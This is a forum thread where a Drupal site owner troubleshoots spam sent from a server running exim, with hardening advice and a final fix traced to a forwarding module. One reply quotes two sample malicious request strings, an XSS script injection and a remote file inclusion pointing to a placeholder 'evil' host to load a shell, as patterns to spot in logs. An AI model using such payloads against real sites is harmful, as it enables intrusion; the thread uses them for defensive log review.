dear all,

Currently I'm having a problem with a box which keep sending spams all over the world. yesterday we upgraded some drupal modules (which can send email), and the spam quantity reduced. But still some spams keep on going out from our server. Some of them even have attachment.

Some of them sent using accounts that never exist at our server (e.g. strager@mydomain.com), and some of them are from 'nobody'.

Can anyone give me a guidance what to check, or where to look. I've check the MX-Records and there was no strange forwarders. Really stuck here...

Any help appreciated.

Best regards,

Yoachan

Does your server have a local mta ? .. eg. sendmail, postfix, exim ...

We use exim

Try disabling the drupal modules and see if the spam still continues, that should tell you where the problem is. Another option is to investigate the mail logs .. but if the drupal modules are configured to use localhost as the outbound mail server then that won't narrow down the source

cheers

These Drupal CVE entries show the product suffers major from coding flaws. So instead I'd start by restricting access to Drupal or shutting down the site (web server) and not focus on a single log file but check all system and web stack log files, especially the web server log (using Logwatch?).


In addition to that:
- If you run anything other than the latest version of Drupal that is bad. Running earlier versions, especially of vulnerable web stack software, holds risks.
- If you don't upgrade to the latest version because some module doesn't play nice with the latest Drupal version, consider removing that module.
- If you won't upgrade to the latest version because of some other undisclosed reason, consider moving to a CMS with a better track record.
- Ensure all files, URL or helpers required for installation are either removed after the installation (say /install.php), have the right access permissions (say the web servers document root, upload directores, sites/default/settings.php) or have restricted access (say /?q=admin/settings, /update.php or /phpmyadmin).
- Ensure configuration files httpd.conf and any includes, php.ini, my.ini do not have basic security restrictions disabled.
- Ensure all files can be verified by checking MD5 or SHA1 hashes, that you are automagically notified of any updates and that an update procedure is set (CVS, Drush).
- Perform basic host and web stack hardening.
- Ensure logging is on for all web stack components, ensure a log watcher runs regularly and read the reports.

2 members found this post helpful.

Thank you for the replies,

We have disabled all drupal modul that we thought will can send email and the spam reduced greatly. We've upgrade them too, but some spams seems keeps on going though not as much as before.


What's the connection between the web server with the mail server? Can I look for email log at my apache's log?

We've upgrade the drupal modules that we use, not to the latest though, but to the recommended version according to each module. Is it still necessary for us to upgrade to the latest one?

I'll check the installation files. Is it enough just by turning the execute permission OFF? (r--r--r--)

I'll note this too. Is there any basic security restrictions that I MUST have? Where can I look? (sorry, I'm completely a newby...)

do you mean I have to run a batch of script to md5 check all my files periodically?

I'll google it than I'll do it.

Will do.

Thank you for all the troubles Guys....

regards,

Yoachan

No, you look for any odd path requests like "/somefile.php?action=ajax&rs=%3Cscript%3Ewindow.open('http:// evil')%3C/script%3E" or "/someotherfile.php?INC=http://more evil. /loadmyshell.jpg?". You could run Logwatch and let it process all available system logs. With the report it will be easier to follow any leads. Let's leave the rest of the recovery and hardening for a later post.

Thank you again for your answer.

Ok. I'll keep an eye to these kind of request.
As separate issue, I know there are some persistent request to some page that no longer exist. It's hitting our guest book some times ago. We turned the guest off for we don't need them any longer. Is there any way to block this kind of request so Apache won't even bother respond to it's request?

Regards,

YoChan

Yup. the drupal modul forward and send to friend was causing it.
everything seems to be calming...

thanks for everyone's help.

Thanks for sharing the nfo.